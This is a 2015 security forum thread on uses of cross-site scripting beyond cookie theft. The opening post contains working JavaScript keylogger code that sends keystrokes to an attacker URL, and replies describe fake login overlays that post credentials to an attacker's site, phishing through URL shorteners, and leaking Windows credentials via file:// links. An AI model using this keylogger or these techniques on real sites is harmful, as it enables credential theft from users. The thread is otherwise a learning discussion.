sud0nick Posted April 11, 2015 Posted April 11, 2015 (edited) I've recently been looking into XSS attacks and I see how they are useful for gathering cookies from a site but can they be used for anything else? I have a site that is vulnerable to XSS attacks but it doesn't store any cookies. I've used this code to log keystrokes from the site <script> var keys = ''; document.onkeypress = function(e) { var get = window.event ? event : e; var key = get.keyCode ? get.keyCode : get.charCode; key = String.fromCharCode(key); keys += key; } window.setInterval(function(){ new Image().src = 'http://www.myattacksite.com/stealer.php?c=' + keys; keys = ''; }, 1000); </script> which is really cool but it doesn't return any impressive results without a login form on the page. I guess it would be possible to try and redirect the user to a page that performs a browser based attack, possibly something with Metasploit. Have you guys come across any useful XSS attacks that don't involve cookies or keylogging? Edited April 11, 2015 by sud0nick Quote
i8igmac Posted April 11, 2015 Posted April 11, 2015 http://en.m.wikipedia.org/wiki/Samy_(computer_worm) Its all depending on the vulnerability you find, How creative you are and how mutch trouble you don't want to be in... Xss should never be overlooked Quote
digip Posted April 11, 2015 Posted April 11, 2015 Yes, it is "good for anything other than cookie stealing and key logging". Especially persistent XSS, but any XSS that gets an end user to execute it in the context needed can lead to credential harvesting, CSRF, forcing logged in users to change settings to their accounts, DNS rebinding or router modifications and more. It's more than just sending an alert to the screen, even though in many cases, that may be all you can do, it all depends on what it is you are doing, including popping a shell on a machine if you can get the user to click a malicious link. XSS is just another attack surface that depends on the weakness in the end users software they view it with. Quote
sud0nick Posted April 12, 2015 Author Posted April 12, 2015 CSRF, forcing logged in users to change settings to their accounts, DNS rebinding...including popping a shell on a machine... What would the environment have to look like in order to accomplish these attacks? The extent of my knowledge in XSS right now is stealing credentials and key logging. Although I can think of other types of attacks I have no idea what the environment would have to look like in order to carry out any of them. Quote
digip Posted April 12, 2015 Posted April 12, 2015 What would the environment have to look like in order to accomplish these attacks? The extent of my knowledge in XSS right now is stealing credentials and key logging. Although I can think of other types of attacks I have no idea what the environment would have to look like in order to carry out any of them.People often forget that XSS can pop shells with the right code, and isn't limited to just Javascript. Lets say you get into an ad agency and propgate malicious iframe ads, SWF, or other executable code on millions of sites. You can track users, correlate data on targets, find other sites they use their logins on, or as mentioned, get a shell on their machines. It's all in what you serve through the javascript or other scripting methods that all work based on the HTML they view. Key is, getting a user to view it with the right vulnerable system, which nice thing about JS, you can use it to do browser and app checking against the user agent(when not spoofed) and server the payload you want, which sometimes is just a vulnerable image file or even CSS file(thanks IE browsers). If you can get a client to ultimately upload a file via XSS, you can also get your shells onto their servers, such as php backdoor, irc bots or such which further help gain access to servers and vulnerable workstations but also help spread the love. In most cases, shellcode vulns in JS often go after older IE and Active-X based browsers and apps though, but even mobile apps such as google maps, gmail and skype at one time, were(maybe still are with the right research) vulnerable to XSS that allowed you to put code in your profile that then gave you access to people who viewed your site, email or profiles. A bit old, but here is some info from a talk Kos gave: http://www.slideshare.net/kosborn/the-hidden-xssattackingthedesktopmo He demoed some of this at Derbycon 1. Quote
sud0nick Posted April 12, 2015 Author Posted April 12, 2015 (edited) Thanks for the info. I also found this article (http://www.12robots.com/index.cfm/2010/9/14/Whats-Possible-with-XSS--Security-Series-81) which is quite informative and has some decent examples. Edited April 12, 2015 by sud0nick Quote
digininja Posted April 12, 2015 Posted April 12, 2015 Check out the Browser Exploitation Framework (BEeF). It will show you lots of things you can do with XSS. Going manual, I really like rewriting the current page to look like the sites login screen and then posting the credentials off to a page I contain. That can then either log them or make it look like extra security is in place and ask for extra info that can help me get further into the target system. Quote
sud0nick Posted April 12, 2015 Author Posted April 12, 2015 (edited) Check out the Browser Exploitation Framework (BEeF). It will show you lots of things you can do with XSS. Thanks, I'll definitely look into it. Going manual, I really like rewriting the current page to look like the sites login screen Do you typically do this through JS redirects or iframes? Do you have an opinion on which is better to use? Edited April 12, 2015 by sud0nick Quote
digip Posted April 12, 2015 Posted April 12, 2015 I once found a store site that had XSS via the address bar that let me overlay a mockup of the same exact pages HTML, CSS and login form but redirect the form data to my own site for logging. Everything looked identical and was from the real site without persistent XSS, just required you to view the crafted URL I created for the site. I let the store owner know, and he at first glance didn't understand what I was sending him and said it was fine, didn't see anything wrong. I literally sent him the URL to his site and he said I see nothing wrong (even though the URL was like 10 times longer than the real URL). I then told him, try logging in to his store via the link I provided, and I then emailed him his creds for which he thanked me and asked me to come work for him(for which I turned down since this was more a hobby task than actual security work in my mind and not the field I work in), so depending on where you want to go with the data and who you send the links to, even non persistent XSS works well if you get the end user to not just visit the URL but also complete the entire form process in the context of you attack. Post links like this in a URL shortener on twitter which masks the full XSS code in the URL's, and you're pretty much guaranteed to get a good 90% of the people you send a link to, to complete the process, such as "look at my new pics I posted on 'insert any social network here' from my vacation in Rio" and if you link to a clone of the site, or non-persistent XSS from a real site via URL hooks, anyone not paying attention to the address bar, in most cases wouldn't be the wiser. My niece had several of her social network accounts popped in this manner, and she has fallen for it more than once from spam emails supposedly from friends, which were all people she knew who had their accounts compromised at their end and address books spamed. The inherent trust from people in our address book makes us less prone to thinking twice about what we click, such as SMS messages, facebook IM's, skype, etc, but is also why I keep everything turned off in my browsers and have all email read in plain text. I don't do HTML email for the most part, and webmail like gmail accounts, I use a a regular email client for and never use in the browser unless I login to clear imap messages building up. Check out the Browser Exploitation Framework (BEeF). It will show you lots of things you can do with XSS. Going manual, I really like rewriting the current page to look like the sites login screen and then posting the credentials off to a page I contain. That can then either log them or make it look like extra security is in place and ask for extra info that can help me get further into the target system. That's also a good point, totally forgot about BEEF but I generally think of it as an inline MITM tool like tamper data when on the same network as others. Aside from cloning and inserting form logging though, like you mentioned, you can add other things not normally there like asking new security questions most commonly used on sites to reset passwords to verify their login, which unless they use fake data (I actually do on throw away sites where all the answers tend to be the same but I keep track of what I use on which sites), its going to work on most people and sites they register with, so if you phish someone with a good pretext, chances are you're going to get more personal data from the end users to try on other sites such as work email portals and company logins. How many sites use the same basic security questions; mothers maiden name, first car you owned, name of pet, color, hobby, school, street you lived on, etc. Quote
digininja Posted April 13, 2015 Posted April 13, 2015 Thanks, I'll definitely look into it. Do you typically do this through JS redirects or iframes? Do you have an opinion on which is better to use? Depends on the situation, common ways are to modify inline objects, such as the destination of a form post and the names of input fields, but brining in an iframe can also work. There is rarely a best option as all tests are different. Quote
digip Posted April 13, 2015 Posted April 13, 2015 (edited) https://threatpost.com/new-smb-flaw-affects-all-versions-of-windows/112134 here is another type of xss that isn't so much js driven but I would consider in the same vein of a xss attack Edited April 13, 2015 by digip Quote
digininja Posted April 13, 2015 Posted April 13, 2015 Nice. I use responder on most tests and regularly get creds from it so this would be a nice extension to that. Quote
sud0nick Posted April 13, 2015 Author Posted April 13, 2015 That's really cool. I've noticed that Windows stores credentials to attempt authentication automatically with local resource shares but I always overlooked the potential danger in that. Quote
digip Posted April 13, 2015 Posted April 13, 2015 craft a document.write to a file:// URL and you pretty much have it send you the goods so long as the services are running. I wonder however if this attack has been tested against samba clients Quote
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.